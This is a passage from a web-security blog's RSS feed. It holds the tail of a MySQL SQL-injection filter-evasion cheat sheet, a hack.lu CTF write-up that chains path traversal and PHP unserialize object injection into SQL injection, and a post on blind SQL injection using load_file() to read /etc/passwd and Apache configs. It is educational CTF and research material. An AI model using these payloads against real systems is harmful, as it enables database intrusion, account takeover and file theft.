select * from users where 0 = 0<br />
select * from users where true<br />
select * from users</p>
<h2>Function filter</h2>
<p><strong>General function filtering</strong><br />
ascii  (97)<br />
load_file/*foo*/(0&#215;616263)</p>
<p><strong>Strings with functions</strong><br />
&#8216;abc&#8217; = unhex(616263)<br />
&#8216;abc&#8217; = char(97,98,99)<br />
hex(&#8216;a&#8217;) = 61<br />
ascii(&#8216;a&#8217;) = 97<br />
ord(&#8216;a&#8217;) = 97<br />
&#8216;ABC&#8217; = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))</p>
<p><strong>Strings extracted from gadgets</strong><br />
collation(\N) 						// binary<br />
collation(user()) 					// utf8_general_ci<br />
@@time_format						// %H:%i:%s<br />
@@binlog_format						// MIXED<br />
@@version_comment					// MySQL Community Server (GPL)<br />
dayname(from_days(401))				// Monday<br />
dayname(from_days(403))				// Wednesday<br />
monthname(from_days(690)) 			// November<br />
monthname(from_unixtime(1))			// January<br />
collation(convert((1)using/**/koi8r))									// koi8r_general_ci<br />
(select(collation_name)from(information_schema.collations)where(id)=2) 	// latin2_czech_cs</p>
<p><strong>Special characters extracted from gadgets</strong><br />
aes_encrypt(1,12)				// 4çh±{?&#8221;^c×HéÉEa<br />
des_encrypt(1,2)				// ‚GÒ/ïÖk<br />
@@ft_boolean_syntax				// + -&gt;&lt;()~*:&quot;&quot;&amp;|<br />
@@date_format					// %Y-%m-%d<br />
@@innodb_log_group_home_dir		// .\</p>
<p><strong>Integer representations</strong><br />
false: 0<br />
true: 1<br />
true+true: 2<br />
floor(pi()): 3<br />
ceil(pi()): 4<br />
floor(version()): 5<br />
ceil(version()): 6<br />
ceil(pi()+pi()): 7<br />
floor(version()+pi()): 8<br />
floor(pi()*pi()): 9<br />
ceil(pi()*pi()): 10<br />
concat(true,true): 11<br />
ceil(pi()*pi())+true: 11<br />
ceil(pi()+pi()+version()): 12<br />
floor(pi()*pi()+pi()): 13<br />
ceil(pi()*pi()+pi()): 14<br />
ceil(pi()*pi()+version()): 15<br />
floor(pi()*version()): 16<br />
ceil(pi()*version()): 17<br />
ceil(pi()*version())+true: 18<br />
floor((pi()+pi())*pi()): 19<br />
ceil((pi()+pi())*pi()): 20<br />
ceil(ceil(pi())*version()): 21<br />
concat(true+true,true): 21<br />
ceil(pi()*ceil(pi()+pi())): 22<br />
ceil((pi()+ceil(pi()))*pi()): 23<br />
ceil(pi())*ceil(version()): 24<br />
floor(pi()*(version()+pi())): 25<br />
floor(version()*version()): 26<br />
ceil(version()*version()): 27<br />
ceil(pi()*pi()*pi()-pi()): 28<br />
floor(pi()*pi()*floor(pi())): 29<br />
ceil(pi()*pi()*floor(pi())): 30<br />
concat(floor(pi()),false): 30<br />
floor(pi()*pi()*pi()): 31<br />
ceil(pi()*pi()*pi()): 32<br />
ceil(pi()*pi()*pi())+true: 33<br />
ceil(pow(pi(),pi())-pi()): 34<br />
ceil(pi()*pi()*pi()+pi()): 35<br />
floor(pow(pi(),pi())): 36</p>
<p>@@new: 0<br />
@@log_bin: 1</p>
<p>!pi(): 0<br />
!!pi(): 1<br />
true-~true: 3<br />
log(-cos(pi())): 0<br />
-cos(pi()): 1<br />
coercibility(user()): 3<br />
coercibility(now()): 4</p>
<p>minute(now())<br />
hour(now())<br />
day(now())<br />
week(now())<br />
month(now())<br />
year(now())<br />
quarter(now())<br />
year(@@timestamp)<br />
crc32(true)</p>
<p><strong>Extract substrings</strong><br />
substr(&#8216;abc&#8217;,1,1) = &#8216;a&#8217;<br />
substr(&#8216;abc&#8217; from 1 for 1) = &#8216;a&#8217;<br />
substring(&#8216;abc&#8217;,1,1) = &#8216;a&#8217;<br />
substring(&#8216;abc&#8217; from 1 for 1) = &#8216;a&#8217;<br />
mid(&#8216;abc&#8217;,1,1) = &#8216;a&#8217;<br />
mid(&#8216;abc&#8217; from 1 for 1) = &#8216;a&#8217;<br />
lpad(&#8216;abc&#8217;,1,space(1)) = &#8216;a&#8217;<br />
rpad(&#8216;abc&#8217;,1,space(1)) = &#8216;a&#8217;<br />
left(&#8216;abc&#8217;,1) = &#8216;a&#8217;<br />
reverse(right(reverse(&#8216;abc&#8217;),1)) = &#8216;a&#8217;<br />
insert(insert(&#8216;abc&#8217;,1,0,space(0)),2,222,space(0)) = &#8216;a&#8217;<br />
space(0) =  trim(version()from(version()))</p>
<p><strong>Search substrings</strong><br />
locate(&#8216;a&#8217;,'abc&#8217;)<br />
position(&#8216;a&#8217;,'abc&#8217;)<br />
position(&#8216;a&#8217; IN &#8216;abc&#8217;)<br />
instr(&#8216;abc&#8217;,'a&#8217;)<br />
substring_index(&#8216;ab&#8217;,'b&#8217;,1)</p>
<p><strong>Cut substrings</strong><br />
length(trim(leading &#8216;a&#8217; FROM &#8216;abc&#8217;))<br />
length(replace(&#8216;abc&#8217;, &#8216;a&#8217;, &#8221;))</p>
<p><strong>Compare strings</strong><br />
strcmp(&#8216;a&#8217;,'a&#8217;)<br />
mod(&#8216;a&#8217;,'a&#8217;)<br />
find_in_set(&#8216;a&#8217;,'a&#8217;)<br />
field(&#8216;a&#8217;,'a&#8217;)<br />
count(concat(&#8216;a&#8217;,'a&#8217;))</p>
<p><strong>String length</strong><br />
length()<br />
bit_length()<br />
char_length()<br />
octet_length()<br />
bit_count()</p>
<p><strong>String case</strong><br />
ucase<br />
lcase<br />
lower<br />
upper<br />
password(&#8216;a&#8217;) != password(&#8216;A&#8217;)<br />
old_password(&#8216;a&#8217;) != old_password(&#8216;A&#8217;)<br />
md5(&#8216;a&#8217;) != md5(&#8216;A&#8217;)<br />
sha(&#8216;a&#8217;) != sha(&#8216;A&#8217;)<br />
aes_encrypt(&#8216;a&#8217;) != aes_encrypt(&#8216;A&#8217;)<br />
des_encrypt(&#8216;a&#8217;) != des_encrypt(&#8216;A&#8217;)</p>
<h2>Keyword filter</h2>
<p><strong>Connected keyword filtering</strong><br />
(0)union(select(table_name),column_name,&#8230;<br />
0/**/union/*!50000select*/table_name`foo`/**/&#8230;<br />
0%a0union%a0select%09group_concat(table_name)&#8230;.<br />
0&#8242;union all select all`table_name`foo from`information_schema`.   `tables`</p>
<p><strong>OR, AND</strong><br />
&#8216;||1=&#8217;1<br />
&#8216;&amp;&amp;1=&#8217;1<br />
&#8216;=&#8217;<br />
&#8216;-&#8217;</p>
<p><strong>OR, AND, UNION</strong><br />
&#8216; and (select pass from users limit 1)=&#8217;secret</p>
<p><strong>OR, AND, UNION, LIMIT</strong><br />
&#8216; and (select pass from users where id =1)=&#8217;a</p>
<p><strong>OR, AND, UNION, LIMIT, WHERE</strong><br />
&#8216; and (select pass from users group by id having id = 1)=&#8217;a</p>
<p><strong>OR, AND, UNION, LIMIT, WHERE, GROUP</strong><br />
&#8216; and length((select pass from users having substr(pass,1,1)=&#8217;a'))</p>
<p><strong>OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING</strong><br />
&#8216; and (select substr(group_concat(pass),1,1) from users)=&#8217;a<br />
&#8216; and substr((select max(pass) from users),1,1)=&#8217;a<br />
&#8216; and substr((select max(replace(pass,&#8217;lastpw&#8217;,&#8221;)) from users),1,1)=&#8217;a</p>
<p><strong>OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT</strong><br />
&#8216; and substr(load_file(&#8216;file&#8217;),locate(&#8216;DocumentRoot&#8217;,(load_file(&#8216;file&#8217;)))+length(&#8216;DocumentRoot&#8217;),10)=&#8217;a<br />
&#8216;=&#8221; into outfile &#8216;/var/www/dump.txt</p>
<p><strong>OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE</strong><br />
&#8216; procedure analyse()#<br />
&#8216;-if(name=&#8217;Admin&#8217;,1,0)#<br />
&#8216;-if(if(name=&#8217;Admin&#8217;,1,0),if(substr(pass,1,1)=&#8217;a',1,0),0)#</p>
<p><strong>Control flow</strong><br />
case &#8216;a&#8217; when &#8216;a&#8217; then 1 [else 0] end<br />
case when &#8216;a&#8217;='a&#8217; then 1 [else 0] end<br />
if(&#8216;a&#8217;='a&#8217;,1,0)<br />
ifnull(nullif(&#8216;a&#8217;,'a&#8217;),1)</p>
<p>If you have any other useful tricks I forgot to list here please leave a comment.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/websec.wordpress.com/464/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/websec.wordpress.com/464/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/websec.wordpress.com/464/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/websec.wordpress.com/464/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/websec.wordpress.com/464/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/websec.wordpress.com/464/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/websec.wordpress.com/464/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/websec.wordpress.com/464/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/websec.wordpress.com/464/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/websec.wordpress.com/464/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/websec.wordpress.com/464/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/websec.wordpress.com/464/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/websec.wordpress.com/464/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/websec.wordpress.com/464/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=464&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/feed/</wfw:commentRss>
		<slash:comments>32</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5a13b0320800151149e2345b2538ae31?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Reiners</media:title>
		</media:content>
	</item>
		<item>
		<title>hack.lu CTF challenge 21 writeup &#8211; PIGS</title>
		<link>http://websec.wordpress.com/2010/10/30/hack-lu-ctf-challenge-21-writeup-pigs/</link>
		<comments>http://websec.wordpress.com/2010/10/30/hack-lu-ctf-challenge-21-writeup-pigs/#comments</comments>
		<pubDate>Sat, 30 Oct 2010 23:58:08 +0000</pubDate>
		<dc:creator>Reiners</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQLi]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[unserialize]]></category>
		<category><![CDATA[__destruct]]></category>

		<guid isPermaLink="false">http://websec.wordpress.com/?p=401</guid>
		<description><![CDATA[This week we organized the Capture-The-Flag contest for the hack.lu conference in Luxembourg. It was open to local and remote participating teams and played by nearly 60 teams. My task was to write the scoreboard and some web challenges. The big topic was &#8220;pirates&#8221;. Everything is mirrored at http://hacklu.fluxfingers.net/ where you can find lots of [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=401&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This week <a href="http://www.fluxfingers.net/">we</a> organized the Capture-The-Flag contest for the <a href="http://2010.hack.lu/index.php/Main_Page">hack.lu</a> conference in Luxembourg. It was open to local and remote participating teams and played by nearly 60 teams. My task was to write the scoreboard and some web challenges. The big topic was &#8220;pirates&#8221;. Everything is mirrored at <a href="http://hacklu.fluxfingers.net/">http://hacklu.fluxfingers.net/</a> where you can find lots of other cool challenges and writeups.</p>
<p>In challenge 21 the players were given a website of a criminal pirate organization stealing gold. The task was to hack the website and to find out, how much gold the leader &#8216;Jack&#8217; has stolen so far. </p>
<p><a href="http://websec.files.wordpress.com/2010/10/pigs.jpg"><img src="http://websec.files.wordpress.com/2010/10/pigs.jpg?w=300&#038;h=178" alt="" title="PIGS" width="300" height="178" class="aligncenter size-medium wp-image-591" /></a></p>
<p>In the &#8220;Support us&#8221; area one can upload new language files for the website. However an upload of any random file says that the file was not signed and therefore ignored. However there is a hint in the text:</p>
<blockquote><p>
Our website supports 10 international languages (<b>automatically detected</b>) and we are always looking for help to support new languages. If you are interested, please contact us for more information and to receive the key for signing your <b>language file</b>.</p></blockquote>
<p>Also 10 different flags on top of the site menu show which languages are supported. How are those languages detected automatically? By the <i>Accept-Language</i>-header your browser sends automatically. You can verify this by sending different header values (I prefer using <a href="https://addons.mozilla.org/firefox/addon/3829/">Live HTTP Headers</a>). In example <i>Accept-Language: es</i> will show the website with spanish text.</p>
<p>The quote shown above also reveals that the website uses <i>language file</i>s. Also sending a unsupported language in the header leads to the following error:</p>
<blockquote><p>
<i>Accept-Language: foobar</i><br />
Language (foobar) not available. Switching to default (en).
</p></blockquote>
<p>We know that the website fetches the text from files. Lets try a path traversal:</p>
<blockquote><p>
<i>Accept-Language: index.php</i><br />
Language (index.php) not available. Switching to default (en).</p>
<p><i>Accept-Language: ../index.php</i><br />
Could not import language data from &#8216;&lt;?php ..code.. ?&gt;&#8217;
</p></blockquote>
<p>Sweet, the error reveals the source code. Now we can download all files that are included and analyse the source code. </p>
<p>The source code reveals, that there is a hidden <i>?id=17</i> displaying the admin login interface. Behind this interface the current gold status of the logged in captain is shown. The task is to find out captain Jack&#8217;s gold status so we need to login as &#8216;Jack&#8217;. Lets see how we can accomplish that.</p>
<p>The file <i>worker/funcs.php</i> reveals how the language files work. Basically all language data is stored serialized in files. Those language files are stored in <i>messages/</i>. Each language file also has to have the serialized variable $secretkey set to &#8220;p1r4t3s.k1lly0u&#8221; to pass the check if the file is signed. Then, all data is unserialized and assigned to the global array $messages which will be used to display the text throughout the website.</p>
<p>Now we know the key to sign we can upload our own files. To create a valid serialized file we can simply use the following php code:</p>
<p><pre class="brush: php;">
&lt;?php
$messages = array(&quot;secretkey&quot; =&gt; &quot;p1r4t3s.k1lly0u&quot;);
echo serialize($messages);
?&gt;
</pre><br />
which will give you:<br />
<pre class="brush: php;">
a:1:{s:9:&quot;secretkey&quot;;s:15:&quot;p1r4t3s.k1lly0u&quot;;} 
</pre><br />
You can also write this down manually (small introduction to serialize syntax):</p>
<p><i>a:1</i>: create <b>a</b>rray with <b>1</b> element<br />
<i>{</i>: array start<br />
<i>s:9:&#8221;secretkey&#8221;</i>: array key: <b>s</b>tring with <b>9</b> characters<br />
<i>s:15:&#8221;p1r4t3s.k1lly0u&#8221;</i>: array value: <b>s</b>tring with <b>15</b> characters<br />
<i>}</i>: array end</p>
<p>However we can not directly browse to <i>messages/</i> because we get a 403 forbidden for this path. Uploading a signed php file with php code (php shell) within the serialized strings will not work here.</p>
<p>Investigating the object-oriented code in <i>worker/mysql.php</i> shows how the database queries and connection is handled. For each request to the PIGS website a new class object <i>sql_db</i> is created. This object is initialized with the reserved function <i><a href="http://php.net/__wakeup">__wakeup()</a></i> and later destroyed with the reserved function <i><a href="http://php.net/__destruct">__destruct()</a></i>. One can see that when the function <i>__destruct()</i> is triggered, the function <i>sql_close()</i> is called. On the first look this looks unsuspicious. However when looking at the function <i>sql_close()</i> we see that a log event is initiated. </p>
<p><pre class="brush: php;">
function __destruct()
{
	$this-&gt;sql_close();
}

function sql_close()
{
	[...]
	$this-&gt;createLog();
	[...]
}

function createLog()
{
	$ip = $this-&gt;escape($_SERVER['REMOTE_ADDR']);
	$lang = $this-&gt;escape($_SERVER['HTTP_ACCEPT_LANGUAGE']);
	$agent = $this-&gt;escape($_SERVER['HTTP_USER_AGENT']);
	$log_table = $this-&gt;escape($this-&gt;log_table);
	$query = &quot;INSERT INTO &quot; . $log_table . &quot; VALUES ('', '$ip', '$lang', '$agent')&quot;;
	$this-&gt;sql_query($query);
}
</pre></p>
<p>So every request will be logged into the table that the current <i>sql_db</i> object has been initialized with (<i>logs</i>) during the constructor call <i>sql_db()</i>. The inserted values are all escaped correctly, so no SQL injection here. Or maybe there is?</p>
<p>The function <i>__destruct()</i> of every instanced object is called once the php interpreter has finished parsing a requested php file. In PIGS for every request an object of <i>sql_db</i> is created and after the php file has been parsed the <i>__destruct()</i> function is called automatically. Then, the function <i>sql_close()</i> is called which calls the function <i>createLog()</i>. </p>
<p>When uploading a language file that contains a serialized <i>sql_db</i> object this object will be awaken and lives until the rest of the php code is parsed. When the <i>createLog()</i> function is called for this object within the <i>__destruct()</i> call, the locale variable <i>log_table</i> is used in the sql query that creates the logentry. Because this locale variable can be altered in the serialized string uploaded with the file, SQL injection is possible.</p>
<p>To trigger the vulnerability we create a signed language file with the key and with a <i>sql_db</i> object that has an altered <i>log_table</i>. Since we need to login as user &#8216;Jack&#8217; we simply abuse the INSERT query of the <i>createLog()</i> function to insert another user &#8216;Jack&#8217; with password &#8216;bla&#8217; to the <i>users</i> table:</p>
<p><pre class="brush: php;">
INSERT INTO $log_table VALUES ('', '$ip', '$lang', '$agent')

$log_table=users VALUES ('', 'Jack', 'bla', '0')-- -
</pre></p>
<p>the query will become:</p>
<p><pre class="brush: php;">
INSERT INTO users VALUES ('', 'Jack', 'bla', '0')-- -VALUES ('', '$ip', '$lang', '$agent')
</pre></p>
<p>which will insert the specified values into the table <i>users</i>. The table name is escaped before used in the query, however a table name is never surrounded by quotes so that an injection is still possible. We simply avoid quotes with the mysql hex representation of strings. To build the serialized string we can instantiate a modified <i>sql_db</i> object ourselves and serialize it. The mysql connection credentials can be read from the leaked source code files.</p>
<p><pre class="brush: php;">
&lt;?php

class sql_db
{
	var $query_result;
	var $row = array();
	var $rowset = array();
	var $num_queries = 0;

	function sql_db()
	{
		$this-&gt;persistency = false;
		$this-&gt;user = 'pigs';
		$this-&gt;password = 'pigs';
		$this-&gt;server = 'localhost';
		$this-&gt;dbname = 'pigs';
		$this-&gt;log_table = &quot;users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -&quot;;
	}
} 

$db = new sql_db();

$payload = array (
  'secretkey' =&gt; 'p1r4t3s.k1lly0u',
  $db
);

echo serialize($payload);
?&gt;
</pre></p>
<p>Now we can simply save the serialized payload into a file and upload it.</p>
<p><pre class="brush: php;">
a:2:{s:9:&quot;secretkey&quot;;s:15:&quot;p1r4t3s.k1lly0u&quot;;i:0;O:6:&quot;sql_db&quot;:10:{s:12:&quot;query_result&quot;;N;s:3:&quot;row&quot;;a:0:{}s:6:&quot;rowset&quot;;a:0:{}s:11:&quot;num_queries&quot;;i:0;s:11:&quot;persistency&quot;;b:0;s:4:&quot;user&quot;;s:4:&quot;pigs&quot;;s:8:&quot;password&quot;;s:4:&quot;pigs&quot;;s:6:&quot;server&quot;;s:9:&quot;localhost&quot;;s:6:&quot;dbname&quot;;s:4:&quot;pigs&quot;;s:9:&quot;log_table&quot;;s:45:&quot;users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -&quot;;}}
</pre></p>
<p>The language file will successfully pass the key-check and the language data will be unserialized. Then the <i>sql_db</i> object will be created with the modified <i>log_table</i> variable. Finally the <i>__destruct()</i> function is called automatically and the <i>log_table</i> will be used during the <i>createLog()</i> function which triggers the SQL injection and the INSERT of a new user &#8216;Jack&#8217;. Now we can login into the admin interface with our user &#8216;Jack&#8217; and the password &#8216;bla&#8217;. Then the function <i>printGold()</i> is called for the username that has been used during the successful login.</p>
<p><pre class="brush: php;">
function printGold()
{
	global $db;
	
	$name = $db-&gt;escape($_POST['name']);
	$result = $db-&gt;sql_query(&quot;SELECT gold FROM users WHERE name='$name'&quot;);
	if($db-&gt;sql_numrows($result) &gt; 0)
	{
		$row = $db-&gt;sql_fetchrow($result);
		echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']);
	}	
}
</pre></p>
<p>The first matching account with the user &#8216;Jack&#8217; will be returned instead of our own and we finally retrieve the gold and the solution to this challenge: <b>398720351149</b></p>
<p>This challenge was awarded with 500 points because it was quite time consuming. However if you have followed Stefan Esser&#8217;s <a href="http://www.suspekt.org/2009/12/09/advisory-032009-piwik-cookie-unserialize-vulnerability/">piwik exploit</a> it should have been straight forward once you could download the source code. Funnily I have seen one team exploiting the SQL injection blindly <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><b>Update:</b> there is another writeup for this challenge in french available <a href="http://hackit.sh4ka.fr/writeup-pigs-hacklu-sh4ka.pdf">here</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/websec.wordpress.com/401/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/websec.wordpress.com/401/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/websec.wordpress.com/401/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/websec.wordpress.com/401/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/websec.wordpress.com/401/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/websec.wordpress.com/401/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/websec.wordpress.com/401/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/websec.wordpress.com/401/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/websec.wordpress.com/401/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/websec.wordpress.com/401/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/websec.wordpress.com/401/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/websec.wordpress.com/401/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/websec.wordpress.com/401/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/websec.wordpress.com/401/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=401&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://websec.wordpress.com/2010/10/30/hack-lu-ctf-challenge-21-writeup-pigs/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5a13b0320800151149e2345b2538ae31?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Reiners</media:title>
		</media:content>

		<media:content url="http://websec.files.wordpress.com/2010/10/pigs.jpg?w=300" medium="image">
			<media:title type="html">PIGS</media:title>
		</media:content>
	</item>
		<item>
		<title>Blind SQL injection with load_file()</title>
		<link>http://websec.wordpress.com/2010/10/01/blind-sql-injection-with-load_file/</link>
		<comments>http://websec.wordpress.com/2010/10/01/blind-sql-injection-with-load_file/#comments</comments>
		<pubDate>Fri, 01 Oct 2010 18:04:56 +0000</pubDate>
		<dc:creator>Reiners</dc:creator>
				<category><![CDATA[SQLi]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[load_file]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://websec.wordpress.com/?p=383</guid>
		<description><![CDATA[Currently I am working a lot on RIPS but here is a small blogpost about a technique I thought about lately and wanted to share. While participating at the smpCTF I came across a blind SQL injection in level 2. After solving the challenge I checked for the FILE privilege: Luckily the FILE privilege was [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=383&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Currently I am working a lot on RIPS but here is a small blogpost about a technique I thought about lately and wanted to share.<br />
While participating at the smpCTF I came across a blind SQL injection in level 2. After solving the challenge I checked for the FILE privilege:</p>
<p><pre class="brush: plain;">
/level2/?id=1/**/and/**/(SELECT/**/is_grantable/**/FROM/**/information_schema.user_privileges/**/WHERE/**/privilege_type=0x66696C65/**/AND/**/grantee/**/like/**/0x25726F6F7425/**/limit/**/1)=0x59
</pre></p>
<p>Luckily the FILE privilege was granted which was not intended by the organizer. Since I had not solved level 1 at that time I thought it would be easier to read the PHP files to solve level 1. First I checked if reading files with <a href="">load_file()</a> worked at all and tried to read <em>/etc/passwd</em>:</p>
<p><pre class="brush: plain;">
/level2/?id=1/**/and/**/!isnull(load_file(2F6574632F706173737764))
</pre></p>
<p>Since the webpage with <em>id=1</em> was displayed the <em>and</em> condition must have been evaluated to <em>true</em> which means that the file could be read (<em>load_file()</em> returns <em>null</em> if the file can not be read). Before reading the PHP files I needed to find the webserver configuration file to find out where the <em>DocumentRoot</em> was configured. I used the same query as above to check for the existence of the following apache config files:</p>
<p><pre class="brush: php;">
$paths = array( 
&quot;/etc/passwd&quot;, 
&quot;/etc/init.d/apache/httpd.conf&quot;, 
&quot;/etc/init.d/apache2/httpd.conf&quot;, 
&quot;/etc/httpd/httpd.conf&quot;, 
&quot;/etc/httpd/conf/httpd.conf&quot;, 
&quot;/etc/apache/apache.conf&quot;, 
&quot;/etc/apache/httpd.conf&quot;, 
&quot;/etc/apache2/apache2.conf&quot;, 
&quot;/etc/apache2/httpd.conf&quot;, 
&quot;/usr/local/apache2/conf/httpd.conf&quot;, 
&quot;/usr/local/apache/conf/httpd.conf&quot;, 
&quot;/opt/apache/conf/httpd.conf&quot;, 
&quot;/home/apache/httpd.conf&quot;, 
&quot;/home/apache/conf/httpd.conf&quot;, 
&quot;/etc/apache2/sites-available/default&quot;, 
&quot;/etc/apache2/vhosts.d/default_vhost.include&quot;);
</pre></p>
<p><strong>update:</strong> There is an <a href="http://wiki.apache.org/httpd/DistrosDefaultLayout">official list</a> for Apache. Very useful.</p>
<p>Webpage with <em>id=1</em> was displayed for the file <em>/etc/httpd/httpd.conf</em> thus revealing that this file existed and could be read. </p>
<p>Now it was time for the tricky part: I had only a true/false blind SQL injection which means that I could only bruteforce the configuration file char by char. Since the length of the file was more than 10000 chars this would have taken way too long.<br />
I decided to give little shots at the configuration file trying to hit the <em>DocumentRoot</em> setting or a comment nearby that identifies my current position. Each shot bruteforced 10 alphanumerical characters:</p>
<p><pre class="brush: plain;">
/level2/?id=1/**/and/**/mid(lower(load_file(0x2F6574632F68747470642F68747470642E636F6E66)),$k,1)=0x$char
</pre></p>
<p>I compared the few bruteforced characters to a known apache configuration file trying to map the characters to a common configuration comment. This worked for most of the character sequences but unfortunately almost every configuration file is a bit different so that it was not possible to calculate the correct offset of the <em>DocumentRoot</em> setting once another setting had been identified. I bruteforced only alphanumerical strings to save time. For example the bruteforced string &#8220;dulesthoselisted&#8221; could be mapped to the comment &#8220;modules (those listed by `httpd -l&#8217;)&#8221; and so on.<br />
After the 10th shot I luckily hit the <em>DocumentRoot</em> setting comment at offset 7467 and after this it was possible to calculate the correct offset for the beginning of the <em>DocumentRoot</em> setting and I could retrieve &#8220;srvhttpdhtdocs&#8221; (DocumentRoot: /srv/httpd/htdocs/). </p>
<p>While that worked fine during the hectics of the CTF and was better than a bruteforce on the whole configuration file, I thought about it again yesterday and thought that this technique was plain stupid <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>If you know what you are looking for in a file (and mostly you do) you can easily find the correct offset with <em>LOCATE(substr,str[,pos])</em> which will return the offset of a given substring found in a string. The following query instantly returns the next 10 characters after the <em>DocumentRoot</em> setting:</p>
<p><pre class="brush: plain;">
substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)
</pre></p>
<p>and can then be bruteforced easily:</p>
<p><pre class="brush: plain;">
mid(lower(substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)),$k,1)=0x$char
</pre></p>
<p>No magic here, but a helpful combination of mysql build in functions when reading files blindly.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/websec.wordpress.com/383/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/websec.wordpress.com/383/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/websec.wordpress.com/383/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/websec.wordpress.com/383/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/websec.wordpress.com/383/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/websec.wordpress.com/383/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/websec.wordpress.com/383/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/websec.wordpress.com/383/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/websec.wordpress.com/383/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/websec.wordpress.com/383/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/websec.wordpress.com/383/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/websec.wordpress.com/383/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/websec.wordpress.com/383/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/websec.wordpress.com/383/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=383&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://websec.wordpress.com/2010/10/01/blind-sql-injection-with-load_file/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5a13b0320800151149e2345b2538ae31?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Reiners</media:title>
		</media:content>
	</item>
		<item>
		<title>RIPS &#8211; A static source code analyser for vulnerabilities in PHP scripts</title>
